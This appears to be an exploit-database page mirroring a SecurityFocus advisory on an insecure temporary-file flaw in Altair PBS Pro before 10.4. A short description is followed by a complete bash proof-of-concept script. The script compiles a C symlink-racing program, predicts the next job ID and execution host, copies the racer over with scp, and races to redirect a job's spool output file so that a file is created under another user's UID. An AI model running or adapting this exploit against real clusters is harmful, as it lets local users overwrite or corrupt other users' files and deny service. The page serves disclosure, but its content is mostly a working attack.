51 lines
No EOL
2.1 KiB
Bash
Executable file
51 lines
No EOL
2.1 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/41449/info
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Altair Engineering PBS Pro creates temporary files in an insecure manner.
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An attacker with local access could potentially exploit this issue to perform symbolic-link attacks, overwriting arbitrary files in the context of the affected application.
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Successfully mounting a symlink attack may allow the attacker to delete or corrupt sensitive files, which may result in a denial of service. Other attacks may also be possible.
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Versions prior to PBS Pro 10.4 are vulnerable.
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#!/bin/bash
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#set -x
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# PBS Pro < 10.4 o+w race condition vulnerability Proof Of Concept by Bartlomiej Balcerek - bartol@pwr.wroc.pl
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# Must be run on submitting host and will create /tmp/pbs_test_by_bartol file on exec host as a next job owner UID
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echo Compiling racer...
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cat << EOF | gcc -x c -o racer.x -
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//repeatedly tries to create arbitrary choosen link
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#include <unistd.h>
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int main(int argc, char* argv[])
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{
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if (argc < 3) {printf("%s","Need 2 arguments!");exit(1);}
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while (1) symlink(argv[1],argv[2]);
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};
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EOF
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if [ ! -x racer.x ]; then echo "Cannot compile C code, do you have gcc installed ?" ;exit 1; fi
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echo Submitting job...
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jobname=`echo hostname | qsub -j oe -o out.txt`
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sleep 2
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host=`cat out.txt`
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if [ -z $host ]; then echo "Cannot determine next execution host, is quere working ?"; exit 1;fi
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rm out.txt
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echo Next job will be run on $host
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echo Copying racer to $host...
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scp ./racer.x $host:/tmp
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echo Calculating job id...
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jobid=`echo $jobname | cut -d . -f 1`
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jobid=$(($jobid+1))
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if [ ! $jobid -ge 0 ]; then echo "Cannot determine next job ID!";exit 1;fi
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echo Next job ID will be $jobid
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hostname=`echo $jobname | cut -d . -f 2`
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echo Running racer...submit job as different user, than push Ctrl+C after while.
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ssh $host -- \(/tmp/racer.x /tmp/pbs_test_by_bartol /var/spool/pbs/spool/${jobid}.${hostname}.OU \)
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ssh $host -- killall racer.x
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echo /var/spool/pbs/spool on $host content:
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ssh $host -- ls -latr /var/spool/pbs/spool
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echo Cleaning up...
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ssh $host -- unlink /var/spool/pbs/spool/${jobid}.${hostname}.OU
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ssh $host -- ls -latr /var/spool/pbs/spool
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ssh $host -- rm -v /tmp/racer.x
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rm -v racer.x |